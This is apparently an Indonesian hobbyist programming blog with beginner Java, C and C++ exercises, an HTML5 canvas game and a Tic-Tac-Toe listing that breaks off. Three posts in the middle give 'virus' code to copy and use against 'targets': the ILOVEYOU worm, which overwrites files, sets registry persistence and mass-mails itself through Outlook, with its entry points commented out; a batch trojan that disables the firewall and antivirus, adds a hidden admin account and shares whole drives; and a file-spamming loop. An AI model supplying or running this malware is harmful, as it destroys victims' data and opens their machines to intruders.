JAVA

Java adalah bahasa pemrograman yang multi platform dan multi device. Sekali anda menuliskan sebuah program dengan menggunakan Java, anda dapat menjalankannya hampir di semua komputer dan perangkat lain yang support Java, dengan sedikit perubahan dalam kodenya.

PHP

PHP merupakan sebuah bahasa scripting yang terpasang pada HTML. Sebagian besar sintaks mirip dengan bahasa C, Java dan Perl, ditambah beberapa fungsi PHP yang spesifik. Tujuan utama penggunaan bahasa ini adalah untuk memungkinkan perancang web.

C++

C++ adalah bahasa pemrograman komputer C++ dikembangkan di Bell Labs (Bjarne Stroustrup) pada awal tahun 1970-an, Bahasa itu diturunkan dari bahasa sebelumnya, yaitu BCL, Pada awalnya, bahasa tersebut dirancang sebagai bahasa pemrograman yang dijalankan pada sistem Unix.

HTML

HTML merupakan suatu metoda untuk mengimplementasikan konsep hypertext dalam suatu naskah atau dokumen. HTML sendiri bukan tergolong pada suatu bahasa pemrograman karena sifatnya yang hanya memberikan tanda (marking up) pada suatu naskah teks dan bukan sebagai program.

CSS

CSS adalah bagian dari sebuah website yang khusus dibuat untuk mengatur tampilan sebuah website. Kita dapat mengontrol isi (konten) dan tampilan secara terpisah. Perubahan konten tidak mengharuskan kita melakukan perubahan tampilan, demikian juga sebaliknya.

Wednesday, April 24, 2013

Discont Barang



Source Code :
public class Diskon{
public static void main (String [] args){
int kode, harga, total;
String jenis;
String Diskon;

System.out.println();
System.out.print("KODE  : ");
kode = Integer.parseInt(System.console().readLine());

System.out.print("JENIS [ A, B, C, D ]: ");
jenis = System.console().readLine();

System.out.print("HARGA : ");
harga = Integer.parseInt(System.console().readLine());

if(jenis.toUpperCase().equals("A"))
{
total = harga-(harga * 10 / 100);
Diskon = "10%";
}
else if(jenis.toUpperCase().equals("B"))
{
total = harga-(harga * 15 / 100);
Diskon = "15%";
}
else if(jenis.toUpperCase().equals("C"))
{
total = harga-(harga * 20 / 100);
Diskon = "20%";
}
else if(jenis.toUpperCase().equals("D"))
{
total = harga-(harga * 25 / 100);
Diskon = "25%";
}
else
{
total = 0;
Diskon = "0%";
}

System.out.println();
System.out.print("Jenis barang " + jenis.toUpperCase());
System.out.print(" Mendapatkan diskon = " + Diskon);
System.out.print(" Harga setelah didiskon " + total);
System.out.println();
}
}

Outputnya :

Silahkan Copas Gannnn,,,,
Tapi Tolong Jangan Lupa Komentarnya yy gann,,,

Friday, April 19, 2013

Array

Source Code :


#include <cstdlib>
#include <iostream>
using namespace std;

int main()
{
int nilai[10];
nilai[0]=1;
nilai[1]=2;
nilai[2]=3;
nilai[3]=4;
nilai[4]=5;
nilai[5]=6;
nilai[6]=7;
nilai[7]=8;
nilai[8]=9;
nilai[9]=10;

cout<<"Array 1 dimensi \n";
cout<<"isi array = \n";

for (int i=0;i<10;i++)
{
cout<<"\n"<<" Nilai "<<i<<" = "<<nilai[i]<<endl;
}

system("PAUSE");
return EXIT_SUCCESS;
}

Outputnya :

Nilai Rata - Rata

Source Code :


#include <stdio.h>
#define SIZE 20
int main(void) {
int data[SIZE];
int i, jml;
float tot, rerata;
printf("jumlah data [max 20]: ");
scanf("%d", &jml);
for(i = 0; i < jml; i++) {
printf("data ke-%d: ", i);
scanf("%d", &data[i]);
}
tot = 0;
for(i = 0; i < jml; i++) {
tot+=data[i];
}
rerata = tot / jml;
printf("rata-rata: %.2f", rerata);
return 0;
}

Outputnya :




Kata Terbalik


Source Code :
#include <stdio.h>
#include <string.h>
#define SIZE 20
int main(void) {
char str[SIZE];
int i, l;
printf("masukkan 1 kata: ");
scanf("%s", str);
l = strlen(str);
printf("terbalik: ");
for(i = l - 1; i >= 0; i--) {
printf("%c", str[i]);
}
return 0;
}


Outputnya :


ARRAY 2 DIMENSI


Gan sekarang ini saya ingin bikin coding dengan program C++ nih,,,

lansung ajj gann ke langkah" cara nya..

1. Pertama" kita buka notped++ dlu, ,,
2. Copas coding di bawah ini ke notped ++

Source Code

#include <stdio.h>
#define ROW 3
#define COL 5
int main(void) {
int data[ROW][COL];
int i, j;
printf("—- ARRAY 2 DIMENSI --\n\n");
for(i = 0; i < ROW; i++) {
printf("baris ke-%d\n", i);
for(j = 0; j < COL; j++) {
printf(" data kolom %d: ", j);
scanf("%d", &data[i][j]);
}
printf("\n");
}
printf("hasilnya: \n-----------------\n");
for(i = 0; i < ROW; i++) {
for(j = 0; j < COL; j++) {
printf(" %d\t", data[i][j]);
}
printf("\n");
}
return 0;
}

3. save file yang sudah di bikin dengan nama ArrayDimensi.cpp
4. Berhasil Deh Gannn,,, :)


Outputnya :



jangan lupa komentarnya ya gannn,,,
Salam sukses gannn

Wednesday, April 17, 2013

Virus Amburadul


Gan mungkin source code di bawah ini hanya sedikit,,,  tpi jangan di pandang dikit nya gann,,  soal nya sangat ampuh,,  heheheh,,,

1. Pertama-tama kita bikin virus ini, kita baca bismillah dulu gann,,  biar bikin nya lancar gtuuu,,,  hehe
2. Buka Aplikasi notpen or notped ++ gann,,
3. COPAS Coding dibawah ini gann,,

Source Code :

//START v.c
#include
#include
void main()
{
while(1)
{
system(“dir>>â•Å¡a.exe”);
}
}
//END

3. Save file tersebut dengan nama Virus Amburadul.BAT
4. Selesai deh gan bikin virus nya,,,
5. Siap" in ajj sasaran nya gann,,  heheheheh   :)


Jangan Lupa Koment dan saran nya yy gannn,,,

Virus I LOVE U


Gannn  kali ini hati saya rasa gembira gan,, karna saya lgi jatuh cinta sama seseorang,,,  heeheheh
dengan kegembiran ini, saya ingin bikin virus dengan nama virus I LOVE U gannn,,,  hehehehe
Lebay banget yy gann nama nya,,, hehehe,,  maklum saya kan suka gomball,, karna belajar dari gombal.com
hehehehe brcanda gann,,

Lansung ajj gan k sumber nya,,

1. Pertama - tama kita buka aplikasi notped or pun notped ++
2. Copas coding di bawah ini ke notped gann

Source Code :

rem barok -loveletter(vbe) <I hate="" go="" to="" school="">
rem by: SkinneR / j-p@fbi.gov/ Group /???/ ???/www.Radiohacktive.tk
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d

ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll

REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run.

sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if

Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation.
listadriv()
end sub

sub regruns()
On Error Resume Next
Dim num,downread
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if

if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf

7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j

nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V

bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras

djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy

7thjg/WIN-BUGSFIX.exe"
end if
end if

if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr

entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank"
end if
end sub

sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub

Sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files

for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)

if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if

if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if

end if
next
end sub

sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders

for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next

end sub

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub

function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function

function fileexist(filespec)

On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if

fileexist = msg
end function

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function


sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega

d
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if

if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub

3. Save file tersebut dengan nama Virus I LOVE U.VBS
4. Selesai deh gan bikin virus nya,,
5. Siap" in ajj sasaran nya gann,,  heheheheh   :)


Jangan Lupa Koment dan saran nya yy gannn,,,

Virus Trojan


Gann kali ini saya ingin upload virus trojan nihh,,, kalaugan ingin merusak komputer seseorang,,,  hehehe bercanda gann,,  gk boleh gan merusak punya orang thuu,,  apa lagi merusak anak Gadis orang,,,  hehehe brcanda lgi gannn   :)

Lansung ajj gan,,

1. Pertama - tama kita buka aplikasi notped or pun notped ++
2. Copas coding di bawah ini ke notped gann

Source Code :
@echo off
color 0a
cls
IF not exist %windir%\%0 copy %0 %windir%
netsh firewall set opmode=disable
net stop ShareAccess
Net stop “Security Center”
Tskill *AV*
NET USER admin admin123  /ADD
NET LOCAL GROUP ADMINISTRATORS admin /ADD
Reg ADD “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ SpecialAccounts \UserList” /v”admin” /t REG_DWORD/d 0 /f
REG ADD HKLM\SYSTEM\ControlSet001\Services\Messenger /v Start /t REG_DWORD /d 2/f
Net start messenger
dir *.*>>Filelist.txt
Net send 192.168.1.100 >hasil.txt
NET SHARE system=%SYSTEMDRIVE% /UNLIMITED
NET SHARE data1=D:\ /UNLIMITED
NET SHARE data1=E:\ /UNLIMITED
REG ADD HKCR\Network\SharingHandler /ve /t REG_SZ/d “”/f
REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v forceguest /t REG_DWORD /d 0 /f
REG ADD HKLD\SYSTEM\CurrentControlSet\LSA /v restrictanonymous /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\ControlSet001\Services\TIntSvr /v Start /t REG_DWORD /d 2/f
Net start tIntsvr
REG ADD HKLM\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f
REG ADD HKCU\Software\Microsoft\Windows\pCurrentVersion\Run\v Eksplorer /t REG_SZ /d %windir%\trojan2.bat /f

3. Save file tersebut dengan nama Virus Trojan.bat
4. Selesai deh gan bikin virus nya,,
5. Siap" in ajj sasaran nya gann,,  heheheheh   :)


Jangan Lupa Koment dan saran nya yy gannn,,,

Games LastChance Dengan Aplikasi Java

Gann Sekarang ini saya ingin bikin game nihh,,  tpi sekaran ini saya ingin bikin games dengan nama Games LastChance gann,,,

okee,, kita lansung ajj yy gann,, ehmm gann klau kita bikin game coding nya psti bnyk nih gaann,,
Sekarang Saya kasi link ajj yy gann,,    :)

Outputnya :




Jangan Lupa saran dan kritik nya yy gann,,  salam sukses untuk gan semua nya,,,   :)

Calculator Java

Gann,,  kmtu lgi deh kita,,  hehehehe

Gan Sekarang ini saya ingin bikin software calculator gann,, soal nya klau stiap pljaran menghitung itu, saya malas menghitung gann,,, maklum, kn saya anak malas gannn,,,  hehehe, brcanda gannn,,

Lansung ajj gann,,
ehm, saya hanya memberi link ajj yy gann,, soal nya klau d tulis coding nya banyak nih gann,,,
heheheheh  :)
sekali lgi sori yy gannn,,, tpi saya beri link nya bnr gannn,,  saya ciuss deh gann,,  heheheh

Outputnya :



Link :  http://www.mediafire.com/?3vc8tp87e4l1s5v


Jangan Lupa Koment dan saran nya yy gann  :)

Sunday, April 7, 2013

Games HTML 5

Gan sekaran  ini saya ingin bikin games nih tapi menggunakan HTML,,  hehehehe

Coba Lihat gan langkah - langkahnya seperti di bawah ini

1. Pertama - tama kita buka aplikasi Macromedia Dremmever atau Notped
2. Copas Source Code Dibawah ini

Source Code :


<html lang="en">
<head>
<meta name="viewport" content="width=device-width,
user-scalable=no, initial-scale=1, maximum-scale=1, user-scalable=0" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<style type="text/css">
body { margin: 0; padding: 0; background: #000;}
canvas { display: block; margin: 0 auto; background: #00FF00; }
</style>
</head>
<body>
<canvas></canvas>
<script>
window.requestAnimFrame = (function(){
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function( callback ){
window.setTimeout(callback, 1000 / 60);
};
})();
// namespace our game
var POP = {
// set up some inital values
WIDTH: 320,
HEIGHT: 480,
scale: 1,
// the position of the canvas
// in relation to the screen
offset: {top: 0, left: 0},
// store all bubble, touches, particles etc
entities: [],
// the amount of game ticks until
// we spawn a bubble
nextBubble: 100,
// for tracking player's progress
score: {
taps: 0,
hit: 0,
escaped: 0,
accuracy: 0
},
// we'll set the rest of these
// in the init function
RATIO: null,
currentWidth: null,
currentHeight: null,
canvas: null,
ctx: null,
ua: null,
android: null,
ios: null,
init: function() {
// the proportion of width to height
POP.RATIO = POP.WIDTH / POP.HEIGHT;
// these will change when the screen is resize
POP.currentWidth = POP.WIDTH;
POP.currentHeight = POP.HEIGHT;
// this is our canvas element
POP.canvas = document.getElementsByTagName('canvas')[0];
// it's important to set this
// otherwise the browser will
// default to 320x200
POP.canvas.width = POP.WIDTH;
POP.canvas.height = POP.HEIGHT;
// the canvas context allows us to
// interact with the canvas api
POP.ctx = POP.canvas.getContext('2d');
// we need to sniff out android & ios
// so we can hide the address bar in
// our resize function
POP.ua = navigator.userAgent.toLowerCase();
POP.android = POP.ua.indexOf('android') > -1 ? true : false;
POP.ios = ( POP.ua.indexOf('iphone') > -1 || POP.ua.indexOf('ipad') > -1 ) ? true : false;
// set up our wave effect
// basically, a series of overlapping circles
// across the top of screen
POP.wave = {
x: -25, // x coord of first circle
y: -40, // y coord of first circle
r: 50, // circle radius
time: 0, // we'll use this in calculating the sine wave
offset: 0 // this will be the sine wave offset
};
// calculate how many circles we need to
// cover the screen width
POP.wave.total = Math.ceil(POP.WIDTH / POP.wave.r) + 1;
// listen for clicks
window.addEventListener('click', function(e) {
e.preventDefault();
POP.Input.set(e);
}, false);
// listen for touches
window.addEventListener('touchstart', function(e) {
e.preventDefault();
// the event object has an array
// called touches, we just want
// the first touch
POP.Input.set(e.touches[0]);
}, false);
window.addEventListener('touchmove', function(e) {
// we're not interested in this
// but prevent default behaviour
// so the screen doesn't scroll
// or zoom
e.preventDefault();
}, false);
window.addEventListener('touchend', function(e) {
// as above
e.preventDefault();
}, false);
// we're ready to resize
POP.resize();
POP.loop();
},
resize: function() {
POP.currentHeight = window.innerHeight;
// resize the width in proportion
// to the new height
POP.currentWidth = POP.currentHeight * POP.RATIO;
// this will create some extra space on the
// page, allowing us to scroll pass
// the address bar, and thus hide it.
if (POP.android || POP.ios) {
document.body.style.height = (window.innerHeight + 50) + 'px';
}
// set the new canvas style width & height
// note: our canvas is still 320x480 but
// we're essentially scaling it with CSS
POP.canvas.style.width = POP.currentWidth + 'px';
POP.canvas.style.height = POP.currentHeight + 'px';
// the amount by which the css resized canvas
// is different to the actual (480x320) size.
POP.scale = POP.currentWidth / POP.WIDTH;
// position of canvas in relation to
// the screen
POP.offset.top = POP.canvas.offsetTop;
POP.offset.left = POP.canvas.offsetLeft;
// we use a timeout here as some mobile
// browsers won't scroll if there is not
// a small delay
window.setTimeout(function() {
window.scrollTo(0,1);
}, 1);
},
// this is where all entities will be moved
// and checked for collisions etc
update: function() {
var i,
checkCollision = false; // we only need to check for a collision
// if the user tapped on this game tick
// decrease our nextBubble counter
POP.nextBubble -= 1;
// if the counter is less than zero
if (POP.nextBubble < 0) {
// put a new instance of bubble into our entities array
POP.entities.push(new POP.Bubble());
// reset the counter with a random value
POP.nextBubble = ( Math.random() * 100 ) + 100;
}
// spawn a new instance of Touch
// if the user has tapped the screen
if (POP.Input.tapped) {
// keep track of taps; needed to
// calculate accuracy
POP.score.taps += 1;
// add a new touch
POP.entities.push(new POP.Touch(POP.Input.x, POP.Input.y));
// set tapped back to false
// to avoid spawning a new touch
// in the next cycle
POP.Input.tapped = false;
checkCollision = true;
}
// cycle through all entities and update as necessary
for (i = 0; i < POP.entities.length; i += 1) {
POP.entities[i].update();
if (POP.entities[i].type === 'bubble' && checkCollision) {
hit = POP.collides(POP.entities[i],
{x: POP.Input.x, y: POP.Input.y, r: 7});
if (hit) {
// spawn an exposion
for (var n = 0; n < 5; n +=1 ) {
POP.entities.push(new POP.Particle(
POP.entities[i].x,
POP.entities[i].y,
2,
// random opacity to spice it up a bit
'rgba(255,255,255,'+Math.random()*1+')'
));
}
POP.score.hit += 1;
}
POP.entities[i].remove = hit;
}
// delete from array if remove property
// flag is set to true
if (POP.entities[i].remove) {
POP.entities.splice(i, 1);
}
}
// update wave offset
// feel free to play with these values for
// either slower or faster waves
POP.wave.time = new Date().getTime() * 0.002;
POP.wave.offset = Math.sin(POP.wave.time * 0.8) * 5;
// calculate accuracy
POP.score.accuracy = (POP.score.hit / POP.score.taps) * 100;
POP.score.accuracy = isNaN(POP.score.accuracy) ?
0 :
~~(POP.score.accuracy); // a handy way to round floats
},
// this is where we draw all the entities
render: function() {
var i;
POP.Draw.rect(0, 0, POP.WIDTH, POP.HEIGHT, '#036');
// display snazzy wave effect
for (i = 0; i < POP.wave.total; i++) {
POP.Draw.circle(
POP.wave.x + POP.wave.offset + (i * POP.wave.r),
POP.wave.y,
POP.wave.r,
'#fff');
}
// cycle through all entities and render to canvas
for (i = 0; i < POP.entities.length; i += 1) {
POP.entities[i].render();
}
// display scores
POP.Draw.text('Hit: ' + POP.score.hit, 20, 30, 14, '#fff');
POP.Draw.text('Escaped: ' + POP.score.escaped, 20, 50, 14, '#fff');
POP.Draw.text('Accuracy: ' + POP.score.accuracy + '%', 20, 70, 14, '#fff');
},
// the actual loop
// requests animation frame
// then proceeds to update
// and render
loop: function() {
requestAnimFrame( POP.loop );
POP.update();
POP.render();
}
};
// checks if two entties are touching
POP.collides = function(a, b) {
var distance_squared = ( ((a.x - b.x) * (a.x - b.x)) +
((a.y - b.y) * (a.y - b.y)));
var radii_squared = (a.r + b.r) * (a.r + b.r);
if (distance_squared < radii_squared) {
return true;
} else {
return false;
}
};
// abstracts various canvas operations into
// standalone functions
POP.Draw = {
clear: function() {
POP.ctx.clearRect(0, 0, POP.WIDTH, POP.HEIGHT);
},
rect: function(x, y, w, h, col) {
POP.ctx.fillStyle = col;
POP.ctx.fillRect(x, y, w, h);
},
circle: function(x, y, r, col) {
POP.ctx.fillStyle = col;
POP.ctx.beginPath();
POP.ctx.arc(x + 5, y + 5, r, 0, Math.PI * 2, true);
POP.ctx.closePath();
POP.ctx.fill();
},
text: function(string, x, y, size, col) {
POP.ctx.font = 'bold '+size+'px Monospace';
POP.ctx.fillStyle = col;
POP.ctx.fillText(string, x, y);
}
};
POP.Input = {
x: 0,
y: 0,
tapped :false,
set: function(data) {
this.x = (data.pageX - POP.offset.left) / POP.scale;
this.y = (data.pageY - POP.offset.top) / POP.scale;
this.tapped = true;
}
};
POP.Touch = function(x, y) {
this.type = 'touch'; // we'll need this later
this.x = x; // the x coordinate
this.y = y; // the y coordinate
this.r = 5; // the radius
this.opacity = 1; // inital opacity. the dot will fade out
this.fade = 0.05; // amount by which to fade on each game tick
// this.remove = false; // flag for removing this entity. POP.update
// will take care of this
this.update = function() {
// reduct the opacity accordingly
this.opacity -= this.fade;
// if opacity if 0 or less, flag for removal
this.remove = (this.opacity < 0) ? true : false;
};
this.render = function() {
POP.Draw.circle(this.x, this.y, this.r, 'rgba(255,0,0,'+this.opacity+')');
};
};
POP.Bubble = function() {
this.type = 'bubble';
this.r = (Math.random() * 20) + 10;
this.speed = (Math.random() * 3) + 1;
this.x = (Math.random() * (POP.WIDTH) - this.r);
this.y = POP.HEIGHT + (Math.random() * 100) + 100;
// the amount by which the bubble
// will move from side to side
this.waveSize = 5 + this.r;
// we need to remember the original
// x position for our sine wave calculation
this.xConstant = this.x;
this.remove = false;
this.update = function() {
// a sine wave is commonly a function of time
var time = new Date().getTime() * 0.002;
this.y -= this.speed;
// the x coord to follow a sine wave
this.x = this.waveSize * Math.sin(time) + this.xConstant;
// if offscreen flag for removal
if (this.y < -10) {
POP.score.escaped += 1; // update score
this.remove = true;
}
};
this.render = function() {
POP.Draw.circle(this.x, this.y, this.r, 'rgba(255,255,255,1)');
};
};
POP.Particle = function(x, y,r, col) {
this.x = x;
this.y = y;
this.r = r;
this.col = col;
// determines whether particle will
// travel to the right of left
// 50% chance of either happening
this.dir = (Math.random() * 2 > 1) ? 1 : -1;
// random values so particles do no
// travel at the same speeds
this.vx = ~~(Math.random() * 4) * this.dir;
this.vy = ~~(Math.random() * 7);
this.remove = false;
this.update = function() {
// update coordinates
this.x += this.vx;
this.y += this.vy;
// increase velocity so particle
// accelerates off screen
this.vx *= 0.99;
this.vy *= 0.99;
// adding this negative amount to the
// y velocity exerts an upward pull on
// the particle, as if drawn to the
// surface
this.vy -= 0.25;
// offscreen
if (this.y < 0) {
this.remove = true;
}
};
this.render = function() {
POP.Draw.circle(this.x, this.y, this.r, this.col);
};
};
window.addEventListener('load', POP.init, false);
window.addEventListener('resize', POP.resize, false);
</script>
</body>
</html>

3. Save File Tersebut dengan nama Games.html
4. Kalau gan mau lihat hasilnya, maka doubel klik pada file games yang di bikin tadi, maka lihat hasilnya

Outputnya :



jangan lupa komentarnya ya gannn,,,
Salam sukses gannn

Link source code nya yang sudah jadi dan complite :  http://www.mediafire.com/?im2j646pk78x9iq



Games Tic Tac Toe

Hai Gan,,  hari ini saya ingin membuat games Tic Tac Toe dengan menggunakan java.

1. Pertama - tama kita buka aplikasi Notped ++

2. Copas coding dibawah ini ke Notped ++


Source Code :


Source Code :


/*
Nama           : JAKA
Tanggal Lahir  : 13 APRIL 1992
Asal Daerah    : Kab. Ketapang
Universitas    : STMIK AMIKOM Yogyakarta

Nama Games             : TicTacToe
Tanggal Games Di Bikin : Maret 16, 2013
*/
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.util.*;
public class TicTacToe implements ActionListener {
final String VERSION = "1.0";
//Setting up ALL the variables
JFrame window = new JFrame("Tic-Tac-Toe " + VERSION);

JMenuBar mnuMain = new JMenuBar();
JMenuItem mnuNewGame = new JMenuItem("New Game"),
mnuInstruction = new JMenuItem("Instructions"),
mnuExit = new JMenuItem("Exit"),
mnuAbout = new JMenuItem("About");

JButton btn1v1 = new JButton("Player vs Player"),
btn1vCPU = new JButton("Player vs CPU"),
btnBack = new JButton("<--back");
JButton btnEmpty[] = new JButton[10];

JPanel pnlNewGame = new JPanel(),
pnlNorth = new JPanel(),
pnlSouth = new JPanel(),
pnlTop = new JPanel(),
pnlBottom = new JPanel(),
pnlPlayingField = new JPanel();
JLabel lblTitle = new JLabel("Tic-Tac-Toe");
JTextArea txtMessage = new JTextArea();

final int winCombo[][] = new int[][] {
{1, 2, 3}, {1, 4, 7}, {1, 5, 9},
{4, 5, 6}, {2, 5, 8}, {3, 5, 7},
{7, 8, 9}, {3, 6, 9}
/*Horizontal Wins*/ /*Vertical Wins*/ /*Diagonal Wins*/
};
final int X = 412, Y = 268, color = 190;
boolean inGame = false;
boolean win = false;
boolean btnEmptyClicked = false;
String message;
int turn = 1;
int wonNumber1 = 1, wonNumber2 = 1, wonNumber3 = 1;

public TicTacToe() { //Setting game properties and layout and sytle...
//Setting window properties:
window.setSize(X, Y);
window.setLocation(450, 260);
window.setResizable(false);
window.setLayout(new BorderLayout());
window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

//Setting Panel layouts and properties
pnlNewGame.setLayout(new GridLayout(2, 1, 2, 10));
pnlNorth.setLayout(new FlowLayout(FlowLayout.CENTER));
pnlSouth.setLayout(new FlowLayout(FlowLayout.CENTER));

pnlNorth.setBackground(new Color(color-20, color-20, color-20));
pnlSouth.setBackground(new Color(color, color, color));

pnlTop.setBackground(new Color(color, color, color));
pnlBottom.setBackground(new Color(color, color, color));

pnlTop.setLayout(new FlowLayout(FlowLayout.CENTER));
pnlBottom.setLayout(new FlowLayout(FlowLayout.CENTER));
pnlNewGame.setBackground(Color.blue);

//Adding menu items to menu bar
mnuMain.add(mnuNewGame);
mnuMain.add(mnuInstruction);
mnuMain.add(mnuAbout);
mnuMain.add(mnuExit);//---->Menu Bar Complete

//Adding buttons to NewGame panel
pnlNewGame.add(btn1v1);
pnlNewGame.add(btn1vCPU);

//Adding Action Listener to all the Buttons and Menu Items
mnuNewGame.addActionListener(this);
mnuExit.addActionListener(this);
mnuInstruction.addActionListener(this);
